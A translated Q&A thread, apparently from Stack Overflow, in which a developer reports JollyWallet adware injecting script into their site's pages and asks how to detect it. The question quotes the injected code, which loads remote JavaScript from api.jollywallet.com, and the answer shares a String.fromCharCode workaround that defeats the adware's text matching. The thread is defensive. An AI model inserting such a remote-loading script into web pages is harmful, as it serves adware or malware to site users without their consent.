2

如果在页面加载时发生代码注入,我们希望提醒用户。我们遇到了 JollyWallet 注入代码并导致 SCRIPT 块保持打开状态的问题。当然,我们的代码在那个 SCRIPT 块中。

这是我们在原版中所拥有的

sTrailer = "</body></html>"  //Used to close popup print view window

这是注入的内容:

sTrailer = "<script type="text/javascript">(function () {if (top.location == self.location && top.location.href.split('#')[0] == 'https://www.xxxxxxx.net/xxx/xxx/<filename>.asp?account=###############') {var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true;po.src = 'https://api.jollywallet.com/affiliate/client?dist=213&sub=bsg-rt-revenyou&name=BrowserSafeguard';var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s);}})();</script></body></html>"

理想情况下,我们希望在用户登录我们的网站时提醒用户该 PUP 的存在。或者,我们希望停止对受影响页面的注入。

有谁知道可以在页面加载结束时运行的可以识别代码注入的测试?

4

1 回答 1

0

抱歉,我忘记发布对此的修复。当恶意软件正在寻找特定文本时,我结束了从 charCode 编写元素。

winPrintView.document.write(String.fromCharCode(60, 47, 98, 111, 100, 121, 62, 60, 47, 104, 116, 109, 108, 62));
于 2015-06-11T21:29:14.133 回答